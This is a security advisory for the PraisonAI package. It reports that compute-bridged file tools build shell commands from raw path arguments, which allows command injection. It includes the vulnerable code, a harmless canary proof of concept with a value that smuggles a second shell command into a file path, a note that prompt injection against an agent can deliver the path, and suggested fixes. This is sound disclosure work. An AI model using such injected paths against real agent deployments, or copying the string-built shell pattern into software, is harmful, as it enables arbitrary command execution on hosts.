GHSA-w6h2-fr4q-xvxv
PraisonAI: Compute-bridged file tools allow shell command injection
상세
# Compute-bridged file tools allow shell command injection
## Summary
`LocalManagedAgent` / `SandboxedAgent` compute bridging wraps `read_file`, `list_files`, and `write_file` when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.
An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With `compute="local"`, commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.
## Affected Product
- Repository: `MervinPraison/PraisonAI` - Package: `praisonai` - Component: `src/praisonai/praisonai/integrations/managed_local.py` - Confirmed affected: - `v4.6.10` - `v4.6.56` - `v4.6.57` - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Confirmed not affected: - `v4.6.9` - `v4.6.1` - `v4.5.149` - Suggested affected range: `>= 4.6.10, <= 4.6.57`
## Root Cause
Current `managed_local.py` defines the bridged tool set:
```python compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"} ```
For file tools, `_bridge_file_tool()` constructs shell command strings:
```python command = f'cat "{filepath}"' command = f'ls -la "{directory}"' command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF' ```
The local compute provider executes the string with `asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it with `["sh", "-c", command]`.
The bridge keeps the low-risk `read_file` / `list_files` tool names and signatures while changing their execution primitive into shell interpretation.
## Why This Is Not Intended Behavior
Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.
The normal `read_file` and `list_files` implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks `execute_command` as `critical`, while `read_file` and `list_files` are not dangerous-tool entries.
## Impact
An application that exposes a PraisonAI agent using `LocalManagedAgent` or `SandboxedAgent` with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to `read_file` or `list_files`.
This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting `execute_command`.
## Local PoV
The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.
Minimal inline reproducer:
```python import os from pathlib import Path
from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file
workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")
canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'
# Control: normal file tools treat the payload as a literal path. normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))
cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.__name__: tool for tool in managed._resolve_tools()}
bridged_read = tools["read_file"](payload) bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')
print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list) ```
Command:
```bash python3 \ submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \ --repo artifacts/repos/praisonai-current ```
Current-head result:
```json { "describe": "v4.6.57-4-g2f9677ab", "vulnerable": true, "normal_controls": { "read_file_payload_contains_canary": false, "list_files_payload_contains_canary": false }, "bridged_results": { "read_file_payload_contains_canary": true, "list_files_payload_contains_canary": true }, "approval_registry": { "execute_command_risk": "critical", "read_file_risk": null, "list_files_risk": null } } ```
The payload used by the PoV is:
```text missing"; printf "$PRAI_CAND_006_CANARY"; # ```
Normal `read_file` treats this as a literal missing filename. The bridged tool constructs:
```sh cat "missing"; printf "$PRAI_CAND_006_CANARY"; #" ```
and returns the canary from the compute shell.
## Suggested Fix
Do not implement file operations by constructing shell command strings from path/content arguments.
Preferred fix:
1. Add provider-native file APIs for read, write, and list operations, or pass arguments as structured argv where the provider supports it. 2. Preserve the normal file-tool path validation and workspace boundary checks for compute-bridged file tools. 3. Treat `write_file` content as data, not shell source. The current heredoc construction is also unsafe if content can contain the delimiter. 4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks, newline, and `#` and assert no shell execution occurs. 5. Keep `execute_command` as the only bridge path that intentionally accepts a shell command string, with critical approval semantics.
A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from `compute_bridged_tools` until safe provider-native file operations exist.
## Suggested Severity
The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, `PR:N` may be appropriate.
이 버전이 영향받나요?
사용 중인 패키지 버전을 입력하면 즉시 평가합니다.